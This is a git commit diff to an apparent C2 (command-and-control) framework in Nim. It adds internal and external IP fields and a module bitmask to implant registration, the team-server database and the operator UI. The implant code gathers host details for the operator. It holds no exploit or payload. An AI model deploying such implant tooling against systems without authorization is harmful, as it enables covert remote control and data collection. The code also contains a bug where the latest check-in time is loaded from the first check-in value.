Added remote address and modules to agent structure. Help command now only shows commands for which the agent has been configured.

This commit is contained in:
Jakob Friedl
2025-10-02 10:25:37 +02:00
parent fbe85493b2
commit 5c0beb36ff
15 changed files with 92 additions and 77 deletions

View File

@@ -3,6 +3,6 @@
-d:release
--opt:size
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="255"
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="66"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -1,6 +1,7 @@
import winim, os, net, strformat, strutils, registry, zippy
import ../../common/[types, serialize, sequence, crypto, utils]
import ../../modules/manager
# Hostname/Computername
proc getHostname(): string =
@@ -217,7 +218,8 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
process: string.toBytes(getProcessExe()),
pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](ctx.sleep)
sleep: cast[uint32](ctx.sleep),
modules: cast[uint32](MODULES)
)
)
@@ -237,6 +239,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
.add(data.metadata.pid)
.add(data.metadata.isElevated)
.add(data.metadata.sleep)
.add(data.metadata.modules)
let metadata = packer.pack()
packer.reset()

View File

@@ -129,7 +129,7 @@ proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, time
Handling console commands
]#
proc displayHelp(component: ConsoleComponent) =
for module in getModules():
for module in getModules(component.agent.modules):
for cmd in module.commands:
component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}")
@@ -252,7 +252,7 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
Session information
]#
let domain = if component.agent.domain.isEmptyOrWhitespace(): "" else: fmt".{component.agent.domain}"
let sessionInfo = fmt"{component.agent.username}@{component.agent.hostname}{domain} | {component.agent.ip} | {$component.agent.pid}/{component.agent.process}".cstring
let sessionInfo = fmt"{component.agent.username}@{component.agent.hostname}{domain} | {component.agent.ipInternal} | {$component.agent.pid}/{component.agent.process}".cstring
igTextColored(GRAY, sessionInfo)
igSameLine(0.0f, 0.0f)

View File

@@ -32,7 +32,7 @@ proc AgentModal*(): AgentModalComponent =
for cmd in module.commands:
result &= " - " & cmd.name & "\n"
proc compareModules(x, y: Module): int =
return cmp(x.name, y.name)
return cmp(x.moduleType, y.moduleType)
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)

View File

@@ -59,12 +59,13 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
ImGui_TableFlags_SizingStretchSame.int32
)
let cols: int32 = 11
let cols: int32 = 12
if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Internal", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("External", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
@@ -99,21 +100,23 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
if igTableSetColumnIndex(1):
igText(agent.listenerId)
if igTableSetColumnIndex(2):
igText(agent.ip)
igText(agent.ipInternal)
if igTableSetColumnIndex(3):
igText(agent.username)
igText(agent.ipExternal)
if igTableSetColumnIndex(4):
igText(agent.hostname)
igText(agent.username)
if igTableSetColumnIndex(5):
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
igText(agent.hostname)
if igTableSetColumnIndex(6):
igText(agent.os)
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
if igTableSetColumnIndex(7):
igText(agent.process)
igText(agent.os)
if igTableSetColumnIndex(8):
igText($agent.pid)
igText(agent.process)
if igTableSetColumnIndex(9):
let duration = now() - agent.firstCheckin.fromUnix().utc()
igText($agent.pid)
if igTableSetColumnIndex(10):
let duration = now() - agent.firstCheckin.fromUnix().local()
let totalSeconds = duration.inSeconds
let hours = totalSeconds div 3600
@@ -123,8 +126,8 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
igText(fmt"{timeText} ago")
if igTableSetColumnIndex(10):
let duration = now() - component.agentActivity[agent.agentId].fromUnix().utc()
if igTableSetColumnIndex(11):
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
let totalSeconds = duration.inSeconds
let hours = totalSeconds div 3600

View File

@@ -1,5 +1,4 @@
import tables
import times
import parsetoml, json
import system
import mummy
@@ -179,6 +178,7 @@ type
pid*: uint32
isElevated*: uint8
sleep*: uint32
modules*: uint32
AgentRegistrationData* = object
header*: Header
@@ -193,15 +193,17 @@ type
username*: string
hostname*: string
domain*: string
ip*: string
ipInternal*: string
ipExternal*: string
os*: string
process*: string
pid*: int
elevated*: bool
sleep*: int
tasks*: seq[Task]
firstCheckin*: DateTime
latestCheckin*: DateTime
modules*: uint32
firstCheckin*: int64
latestCheckin*: int64
sessionKey*: Key
# Session entry for client UI
@@ -211,12 +213,14 @@ type
username*: string
hostname*: string
domain*: string
ip*: string
ipInternal*: string
ipExternal*: string
os*: string
process*: string
pid*: int
elevated*: bool
sleep*: int
modules*: uint32
firstCheckin*: int64
latestCheckin*: int64
@@ -259,7 +263,8 @@ type
CLIENT_AGENT_CHECKIN = 103'u8 # Update agent checkin
CLIENT_AGENT_PAYLOAD = 104'u8 # Return agent payload binary
CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console
CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog
CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog
CLIENT_LOOT = 107'u8 # Download file or screenshot to the operator desktop
Event* = object
eventType*: EventType

View File

@@ -1,7 +1,7 @@
import tables, strformat
import ../common/types
const MODULES {.intdefine.} = 0
const MODULES* {.intdefine.} = 0
type
ModuleManager* = object
@@ -75,5 +75,10 @@ proc getCommandByName*(cmdName: string): Command =
proc getAvailableCommands*(): Table[string, Command] =
return manager.commandsByName
proc getModules*(): seq[Module] =
return manager.modules
proc getModules*(modules: uint32 = 0): seq[Module] =
if modules == 0:
return manager.modules
else:
for m in manager.modules:
if (modules and cast[uint32](m.moduleType)) == cast[uint32](m.moduleType):
result.add(m)

View File

@@ -1,4 +1,4 @@
import terminal, strformat, strutils, sequtils, tables, times, system, std/[dirs, paths]
import terminal, strformat, strutils, sequtils, tables, system, std/[dirs, paths]
import ../globals
import ../db/database
@@ -11,17 +11,17 @@ import ../../common/[types, utils, serialize]
Agent API
Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
]#
proc register*(registrationData: seq[byte]): bool =
proc register*(registrationData: seq[byte], remoteAddress: string): bool =
# The following line is required to be able to use the `cq` global variable for console output
{.cast(gcsafe).}:
try:
let agent: Agent = cq.deserializeNewAgent(registrationData)
let agent: Agent = cq.deserializeNewAgent(registrationData, remoteAddress)
# Validate that listener exists
if not cq.dbListenerExists(agent.listenerId.toUpperAscii):
raise newException(CatchableError, fmt"{agent.ip} attempted to register to non-existent listener: {agent.listenerId}." & "\n")
raise newException(CatchableError, fmt"{agent.ipInternal} attempted to register to non-existent listener: {agent.listenerId}." & "\n")
# Store agent in database
if not cq.dbStoreAgent(agent):
@@ -67,7 +67,7 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte
raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n")
# Update the last check-in date for the accessed agent
cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local()
cq.agents[agentId].latestCheckin = cast[int64](timestamp)
cq.client.sendAgentCheckin(agentId)
# Return tasks
@@ -133,6 +133,7 @@ proc handleResult*(resultData: seq[byte]) =
writeFile(downloadPath, fileBytes)
cq.success(fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).", "\n")
cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).")
of RESULT_NO_OUTPUT:
cq.output()

View File

@@ -138,7 +138,7 @@ proc httpPost*(request: Request) =
headers.add((header, value.getStringValue()))
if cast[PacketType](header.packetType) == MSG_REGISTER:
if not register(string.toBytes(request.body)):
if not register(string.toBytes(request.body), request.remoteAddress):
request.respond(400, body = "")
return

View File

@@ -39,7 +39,7 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco
for httpMethod in postMethods:
router.addRoute(httpMethod, endpoint.getStringValue(), routes.httpPost)
let server = newServer(router.toHandler())
let server = newServer(router.toHandler(), maxBodyLen = 1024 * 1024 * 1024)
# Store listener in database
var listener = Listener(

View File

@@ -29,12 +29,14 @@ proc dbInit*(cq: Conquest) =
username TEXT NOT NULL,
hostname TEXT NOT NULL,
domain TEXT NOT NULL,
ip TEXT NOT NULL,
ipInternal TEXT NOT NULL,
ipExternal TEXT NOT NULL,
os TEXT NOT NULL,
elevated BOOLEAN NOT NULL,
sleep INTEGER DEFAULT 10,
firstCheckin DATETIME NOT NULL,
latestCheckin DATETIME NOT NULL,
sleep INTEGER NOT NULL,
modules INTEGER NOT NULL,
firstCheckin INTEGER NOT NULL,
latestCheckin INTEGER NOT NULL,
sessionKey BLOB NOT NULL
);

View File

@@ -1,4 +1,4 @@
import system, terminal, tiny_sqlite, times, sequtils
import system, terminal, tiny_sqlite, sequtils
import ../core/logger
import ../../common/types
@@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
let sessionKeyBlob = agent.sessionKey.toSeq()
conquestDb.exec("""
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, firstCheckin, latestCheckin, sessionKey)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"), sessionKeyBlob)
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
conquestDb.close()
except:
@@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKey FROM agents;"):
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, bool, string, string, seq[byte]))
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
# Convert session key blob back to array
var sessionKey: Key
@@ -51,12 +51,14 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
username: username,
hostname: hostname,
domain: domain,
ip: ip,
ipInternal: ipInternal,
ipExternal: ipExternal,
os: os,
elevated: elevated,
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
firstCheckin: cast[int64](firstCheckin),
latestCheckin: cast[int64](firstCheckin),
process: process,
modules: cast[uint32](modules),
sessionKey: sessionKey,
tasks: @[] # Initialize empty tasks
)
@@ -75,14 +77,15 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listener = ?;", listenerName):
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, bool, string, string, seq[byte]))
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listener = ?;", listenerName):
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
# Convert session key blob back to array
var sessionKey: Key
if sessionKeyBlob.len == 32:
copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32)
else:
# Handle invalid session key - log error but continue
cq.warning("Invalid session key length for agent: ", agentId)
let a = Agent(
@@ -93,18 +96,18 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
username: username,
hostname: hostname,
domain: domain,
ip: ip,
ipInternal: ipInternal,
ipExternal: ipExternal,
os: os,
elevated: elevated,
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
firstCheckin: cast[int64](firstCheckin),
latestCheckin: cast[int64](firstCheckin),
process: process,
modules: cast[uint32](modules),
sessionKey: sessionKey,
tasks: @[]
tasks: @[] # Initialize empty tasks
)
agents.add(a)
conquestDb.close()
except:
cq.error(getCurrentExceptionMsg())
@@ -137,18 +140,6 @@ proc dbAgentExists*(cq: Conquest, agentName: string): bool =
cq.error(getCurrentExceptionMsg())
return false
proc dbUpdateCheckin*(cq: Conquest, agentName: string, timestamp: string): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("UPDATE agents SET latestCheckin = ? WHERE name = ?", timestamp, agentName)
conquestDb.close()
return true
except:
cq.error(getCurrentExceptionMsg())
return false
proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)

View File

@@ -136,8 +136,8 @@ proc startServer*(profilePath: string) =
var router: Router
router.get("/*", upgradeHandler)
# Increased websocket message length in order to support dotnet assembly execution
let server = newServer(router, websocketHandler, maxMessageLen = 1024 * 1024 * 1024)
# Increased websocket message length in order to support dotnet assembly execution (1GB)
let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024)
server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0")
# Conquest framework entry point

View File

@@ -74,7 +74,7 @@ proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult =
data: data
)
proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string): Agent =
var unpacker = Unpacker.init(Bytes.toString(data))
@@ -102,12 +102,13 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
username = unpacker.getDataWithLengthPrefix()
hostname = unpacker.getDataWithLengthPrefix()
domain = unpacker.getDataWithLengthPrefix()
ip = unpacker.getDataWithLengthPrefix()
ipInternal = unpacker.getDataWithLengthPrefix()
os = unpacker.getDataWithLengthPrefix()
process = unpacker.getDataWithLengthPrefix()
pid = unpacker.getUint32()
isElevated = unpacker.getUint8()
sleep = unpacker.getUint32()
modules = unpacker.getUint32()
return Agent(
agentId: Uuid.toString(header.agentId),
@@ -115,15 +116,17 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
username: username,
hostname: hostname,
domain: domain,
ip: ip,
ipInternal: ipInternal,
ipExternal: remoteAddress,
os: os,
process: process,
pid: int(pid),
elevated: isElevated != 0,
sleep: int(sleep),
modules: modules,
tasks: @[],
firstCheckin: now(),
latestCheckin: now(),
firstCheckin: now().toTime().toUnix(),
latestCheckin: now().toTime().toUnix(),
sessionKey: sessionKey
)

View File

@@ -9,14 +9,16 @@ proc `%`*(agent: Agent): JsonNode =
result["username"] = %agent.username
result["hostname"] = %agent.hostname
result["domain"] = %agent.domain
result["ip"] = %agent.ip
result["ipInternal"] = %agent.ipInternal
result["ipExternal"] = %agent.ipExternal
result["os"] = %agent.os
result["process"] = %agent.process
result["pid"] = %agent.pid
result["elevated"] = %agent.elevated
result["sleep"] = %agent.sleep
result["firstCheckin"] = %agent.firstCheckin.toTime().toUnix()
result["latestCheckin"] = %agent.latestCheckin.toTime().toUnix()
result["modules"] = %agent.modules
result["firstCheckin"] = %agent.firstCheckin
result["latestCheckin"] = %agent.latestCheckin
proc `%`*(listener: Listener): JsonNode =
result = newJObject()